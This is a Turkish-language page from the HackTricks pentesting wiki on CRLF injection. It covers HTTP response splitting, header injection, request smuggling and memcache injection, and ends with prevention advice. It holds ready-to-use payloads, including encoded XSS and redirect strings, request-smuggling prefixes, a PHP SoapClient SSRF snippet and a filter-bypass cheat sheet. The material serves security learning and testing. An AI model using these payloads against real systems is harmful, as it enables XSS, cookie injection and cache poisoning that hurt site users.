CRLF (%0D%0A) Injection

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Ödül avcılığı ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan premium bir ödül avcılığı platformu! Bugün https://go.intigriti.com/hacktricks adresinde bize katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

CRLF

Carriage Return (CR) ve Line Feed (LF), toplu olarak CRLF olarak bilinen özel karakter dizileridir ve HTTP protokolünde bir satırın sonunu veya yeni bir satırın başlangıcını belirtmek için kullanılır. Web sunucuları ve tarayıcılar, HTTP başlıklarını ve yanıtın gövdesini ayırt etmek için CRLF'yi kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucusu türleri arasında HTTP/1.1 iletişiminde evrensel olarak kullanılır.

CRLF Enjeksiyonu Zafiyeti

CRLF enjeksiyonu, CR ve LF karakterlerinin kullanıcı tarafından sağlanan girişe eklenmesini içerir. Bu eylem, sunucuyu, uygulamayı veya kullanıcıyı, enjekte edilen diziyi bir yanıtın sonu ve diğerinin başlangıcı olarak yorumlamaya yanıltır. Bu karakterler zararlı değildir ancak yanlış kullanımları HTTP yanıtı bölünmesine ve diğer kötü amaçlı faaliyetlere yol açabilir.

Örnek: Bir Günlük Dosyasında CRLF Enjeksiyonu

Örnek buradan

Yönetici panelindeki bir günlük dosyasını düşünün ve formatın IP - Zaman - Ziyaret Edilen Yol olduğunu varsayalım. Tipik bir giriş şöyle görünebilir:

123.123.123.123 - 08:15 - /index.php?page=home

Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonunu sömürebilir. HTTP isteğine CRLF karakterleri enjekte ederek, saldırgan çıktı akışını değiştirebilir ve günlük girişlerini uydurabilir. Örneğin, enjekte edilmiş bir dizi günlük girdisini şu şekilde dönüştürebilir:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Burada, %0d ve %0a, CR ve LF'nin URL kodlanmış formlarını temsil eder. Saldırı sonrası, günlük yanıltıcı bir şekilde görüntülenir:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

HTTP Yanıt Bölünmesi

Açıklama

HTTP Yanıt Bölünmesi, bir saldırganın HTTP yanıtlarının yapısını istismar ettiğinde ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları vücuttan belirli bir karakter dizisi olan Taşıma İşareti (CR) ve Satır Beslemesi (LF) ile ayırır, topluca CRLF olarak adlandırılır. Bir saldırgan bir CRLF dizisini bir yanıt başlığına yerleştirmeyi başarırsa, ardışık yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür manipülasyonlar ciddi güvenlik sorunlarına, özellikle de Çapraz Site Komut Dosyası (XSS) sorunlarına yol açabilir.

HTTP Yanıt Bölünmesi Aracılığıyla XSS

  1. Uygulama, X-Custom-Header: UserInput gibi özel bir başlık ayarlar.

  2. Uygulama, UserInput için değeri bir sorgu parametresinden alır, diyelim ki "user_input". Doğru giriş doğrulama ve kodlama olmayan senaryolarda, bir saldırgan CRLF dizisini, ardından kötü amaçlı içeriği içeren bir yük oluşturabilir.

  3. Bir saldırgan, özel olarak oluşturulmuş 'user_input' içeren bir URL oluşturur: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • Bu URL'de %0d%0a%0d%0a, CRLFCRLF'nin URL kodlanmış biçimidir. Sunucuyu bir CRLF dizisi eklemeye kandırarak, sunucunun ardışık kısmı yanıt gövdesi olarak işlemesini sağlar.

  1. Sunucu, saldırganın girişini yanıt başlığında yansıtır, kötü niyetli betik tarayıcı tarafından yanıt gövdesinin bir parçası olarak yorumlanır.

HTTP Yanıt Bölünmesinden Yönlendirmeye Giden Bir Örnek

https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Tarayıcıya:

/%0d%0aLocation:%20http://myweb.com

Ve sunucu şu başlıkla yanıt verir:

Location: http://myweb.com

Diğer örnek: (şuradan https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL Yolu İçinde

Sunucudan gelen yanıtı kontrol etmek için URL yolunun içine yük paylaşımı gönderebilirsiniz (örnek buradan):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Daha fazla örnek için şu adresten kontrol edebilirsiniz:

HTTP Başlık Enjeksiyonu

HTTP Başlık Enjeksiyonu, genellikle CRLF (Taşıma İşareti ve Satır Beslemesi) enjeksiyonu aracılığıyla istismar edilir ve saldırganlara HTTP başlıkları eklemelerine izin verir. Bu, XSS (Çapraz Site Komut Dosyası) filtreleri veya SOP (Aynı Köken Politikası) gibi güvenlik mekanizmalarını zayıflatabilir ve bu da CSRF belirteçlerine veya kullanıcı oturumlarının çerez ekimi yoluyla manipülasyonuna yetkisiz erişime yol açabilir.

HTTP Başlık Enjeksiyonu Aracılığıyla CORS'un Sömürülmesi

Bir saldırgan, CORS'u (Çapraz Köken Kaynak Paylaşımı) etkinleştirmek için HTTP başlıklarını enjekte edebilir ve SOP tarafından uygulanan kısıtlamaları atlayabilir. Bu ihlal, kötü amaçlı kökenlerden gelen betiklerin farklı bir kökenden kaynaklarla etkileşime girmesine izin verir ve bu da korunan verilere potansiyel erişim sağlayabilir.

CRLF Aracılığıyla SSRF ve HTTP İsteği Enjeksiyonu

CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bu durumun dikkate değer bir örneği, PHP'nin SoapClient sınıfındaki zafiyettir, özellikle user_agent parametresi içinde. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda, bu sömürünün bir PHP örneği bulunmaktadır:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

İstek Smuggling için Başlık Enjeksiyonu

Bu teknik ve potansiyel sorunlar hakkında daha fazla bilgi için orijinal kaynağa bakın.

Başlangıç isteğine yanıt verdikten sonra arka uç bağlantısını açık tutmasını sağlamak için gerekli başlıkları enjekte edebilirsiniz:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Sonrasında, ikinci bir istek belirtilebilir. Bu senaryo genellikle HTTP istek kaçırma içerir, ekstra başlıklar veya enjeksiyon sonrası sunucu tarafından eklenen gövde öğeleri çeşitli güvenlik açıklarına yol açabilir.

Sömürü:

  1. Kötü Amaçlı Önek Enjeksiyonu: Bu yöntem, bir sonraki kullanıcının isteğini veya bir web önbelleğini zehirlemeyi içerirken kötü amaçlı bir önek belirtme işlemidir. Buna bir örnek:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Tepki Kuyruğu Zehirleme için Önek Oluşturma: Bu yaklaşım, tamamlanmış ikinci bir isteği oluşturan bir önek oluşturmayı içerirken sonraki gereksiz verilerle birleştirildiğinde. Bu, tepki kuyruğu zehirlemesini tetikleyebilir. Bir örnek:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Enjeksiyonu

Memcache, açık metin protokolü kullanan bir anahtar-değer deposudur. Daha fazla bilgi için:

page11211 - Pentesting Memcache

Tam bilgi için orijinal yazıya bakın

Bir platform, bir HTTP isteğinden veri alıp bunu temizlemeden bir memcache sunucusuna istekler yapmak için kullandığında, bir saldırgan bu davranışı yeni memcache komutları enjekte etmek için kötüye kullanabilir.

Örneğin, orijinal keşfedilen zayıflıkta, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve bağlantı noktasını döndürmek için kullanıldı ve saldırganlar, önbelleği zehirlemek için memcache komutları enjekte edebildiler ve kurbanların ayrıntılarını (kullanıcı adları ve şifreler dahil) saldırgan sunucularına gönderdiler:

Dahası, araştırmacılar ayrıca memcache yanıtlarını desenkronize edebileceklerini ve saldırganın bilmediği kullanıcıların IP ve bağlantı noktalarını saldırganlara gönderebileceklerini keşfettiler:

Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Nasıl Önlenir

Web uygulamalarında CRLF (Taşıma Dönüşü ve Satır Beslemesi) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilir:

  1. Yanıt Başlıklarında Doğrudan Kullanıcı Girişinden Kaçının: En güvenli yaklaşım, kullanıcı tarafından sağlanan girişi doğrudan yanıt başlıklarına dahil etmekten kaçınmaktır.

  2. Özel Karakterleri Kodlayın: Doğrudan kullanıcı girişinden kaçınmak mümkün değilse, CR (Taşıma Dönüşü) ve LF (Satır Beslemesi) gibi özel karakterleri kodlamaya yönelik bir işlev kullanmaya dikkat edin. Bu uygulama, CRLF enjeksiyonu olasılığını önler.

  3. Programlama Dili Güncellemesi: Web uygulamalarınızda kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjeksiyonunu varsayılan olarak engelleyen bir sürümü tercih edin.

HİLE KODU

Buradan hile kodu

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Otomatik Araçlar

Kaba Kuvvet Tespiti Listesi

Referanslar

Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated